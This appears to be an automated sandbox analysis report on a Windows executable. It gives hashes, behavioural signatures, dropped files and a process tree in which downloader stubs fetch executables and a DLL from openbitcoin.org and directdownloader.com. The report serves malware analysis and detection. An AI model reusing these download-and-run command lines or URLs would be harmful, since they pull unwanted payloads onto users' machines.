5c914de1b1bba42b0c6d7226cfc9c135d282540289edc01fa31906800e8cd33b

Analysis

max time kernel
150s
max time network
152s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
15/03/2024, 10:50

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General

Target

cb36eab156d11a407065f4b448e1b5ce.exe
Size

492KB
MD5

cb36eab156d11a407065f4b448e1b5ce
SHA1

35bbf24c835632ebefebe968a4a7bca7ce501c7e
SHA256

5c914de1b1bba42b0c6d7226cfc9c135d282540289edc01fa31906800e8cd33b
SHA512

54b394ad714faf47162162e6c12b54065667eb0c1341cd8cf65cd84ead1b9fb917a0f2c61e704197b6d67784e05b32cf91c00f3c631d67ba9c9975590268a81a
SSDEEP

6144:Huk4fqjJMQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:h4fwk6peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
3064	downloaderSTUB.exe
2484	downloaderSTUB.exe
2564	downloaderSTUB.exe
2604	downloaderDDLR.exe
2508	downloaderOFFER0.exe
2908	preinstaller.exe

Loads dropped DLL 31 IoCs

pid	Process
3040	cb36eab156d11a407065f4b448e1b5ce.exe
3040	cb36eab156d11a407065f4b448e1b5ce.exe
3040	cb36eab156d11a407065f4b448e1b5ce.exe
3040	cb36eab156d11a407065f4b448e1b5ce.exe
3040	cb36eab156d11a407065f4b448e1b5ce.exe
3040	cb36eab156d11a407065f4b448e1b5ce.exe
3064	downloaderSTUB.exe
2484	downloaderSTUB.exe
2604	downloaderDDLR.exe
2564	downloaderSTUB.exe
2508	downloaderOFFER0.exe
3064	downloaderSTUB.exe
2484	downloaderSTUB.exe
2604	downloaderDDLR.exe
2564	downloaderSTUB.exe
2508	downloaderOFFER0.exe
3064	downloaderSTUB.exe
2484	downloaderSTUB.exe
2604	downloaderDDLR.exe
2564	downloaderSTUB.exe
2508	downloaderOFFER0.exe
3064	downloaderSTUB.exe
2484	downloaderSTUB.exe
2604	downloaderDDLR.exe
2564	downloaderSTUB.exe
2508	downloaderOFFER0.exe
3064	downloaderSTUB.exe
2484	downloaderSTUB.exe
2604	downloaderDDLR.exe
2564	downloaderSTUB.exe
2508	downloaderOFFER0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 4 IoCs

installer

resource	yara_rule
behavioral1/files/0x0034000000016122-1.dat	nsis_installer_1
behavioral1/files/0x0034000000016122-1.dat	nsis_installer_2
behavioral1/files/0x000b000000015d61-21.dat	nsis_installer_1
behavioral1/files/0x000b000000015d61-21.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 3064	3040	cb36eab156d11a407065f4b448e1b5ce.exe	28
PID 3040 wrote to memory of 3064	3040	cb36eab156d11a407065f4b448e1b5ce.exe	28
PID 3040 wrote to memory of 3064	3040	cb36eab156d11a407065f4b448e1b5ce.exe	28
PID 3040 wrote to memory of 3064	3040	cb36eab156d11a407065f4b448e1b5ce.exe	28
PID 3040 wrote to memory of 2484	3040	cb36eab156d11a407065f4b448e1b5ce.exe	29
PID 3040 wrote to memory of 2484	3040	cb36eab156d11a407065f4b448e1b5ce.exe	29
PID 3040 wrote to memory of 2484	3040	cb36eab156d11a407065f4b448e1b5ce.exe	29
PID 3040 wrote to memory of 2484	3040	cb36eab156d11a407065f4b448e1b5ce.exe	29
PID 3040 wrote to memory of 2564	3040	cb36eab156d11a407065f4b448e1b5ce.exe	30
PID 3040 wrote to memory of 2564	3040	cb36eab156d11a407065f4b448e1b5ce.exe	30
PID 3040 wrote to memory of 2564	3040	cb36eab156d11a407065f4b448e1b5ce.exe	30
PID 3040 wrote to memory of 2564	3040	cb36eab156d11a407065f4b448e1b5ce.exe	30
PID 3040 wrote to memory of 2604	3040	cb36eab156d11a407065f4b448e1b5ce.exe	31
PID 3040 wrote to memory of 2604	3040	cb36eab156d11a407065f4b448e1b5ce.exe	31
PID 3040 wrote to memory of 2604	3040	cb36eab156d11a407065f4b448e1b5ce.exe	31
PID 3040 wrote to memory of 2604	3040	cb36eab156d11a407065f4b448e1b5ce.exe	31
PID 3040 wrote to memory of 2508	3040	cb36eab156d11a407065f4b448e1b5ce.exe	32
PID 3040 wrote to memory of 2508	3040	cb36eab156d11a407065f4b448e1b5ce.exe	32
PID 3040 wrote to memory of 2508	3040	cb36eab156d11a407065f4b448e1b5ce.exe	32
PID 3040 wrote to memory of 2508	3040	cb36eab156d11a407065f4b448e1b5ce.exe	32
PID 3040 wrote to memory of 2908	3040	cb36eab156d11a407065f4b448e1b5ce.exe	33
PID 3040 wrote to memory of 2908	3040	cb36eab156d11a407065f4b448e1b5ce.exe	33
PID 3040 wrote to memory of 2908	3040	cb36eab156d11a407065f4b448e1b5ce.exe	33
PID 3040 wrote to memory of 2908	3040	cb36eab156d11a407065f4b448e1b5ce.exe	33
PID 3040 wrote to memory of 2908	3040	cb36eab156d11a407065f4b448e1b5ce.exe	33
PID 3040 wrote to memory of 2908	3040	cb36eab156d11a407065f4b448e1b5ce.exe	33
PID 3040 wrote to memory of 2908	3040	cb36eab156d11a407065f4b448e1b5ce.exe	33

C:\Users\Admin\AppData\Local\Temp\cb36eab156d11a407065f4b448e1b5ce.exe
"C:\Users\Admin\AppData\Local\Temp\cb36eab156d11a407065f4b448e1b5ce.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3064
- C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2484
- C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2564
- C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2604
- C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2508
- C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\preinstaller.exe 0 "Avanquest expert pdf professional 8 0 350 0 rar" "Download"
  2⤵
  - Executes dropped EXE
  PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\downloaderSTUB.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\78a4182179ec7097cbcec553d0c03d99\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
\Users\Admin\AppData\Local\Temp\nso2425.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2908-59-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/3040-58-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download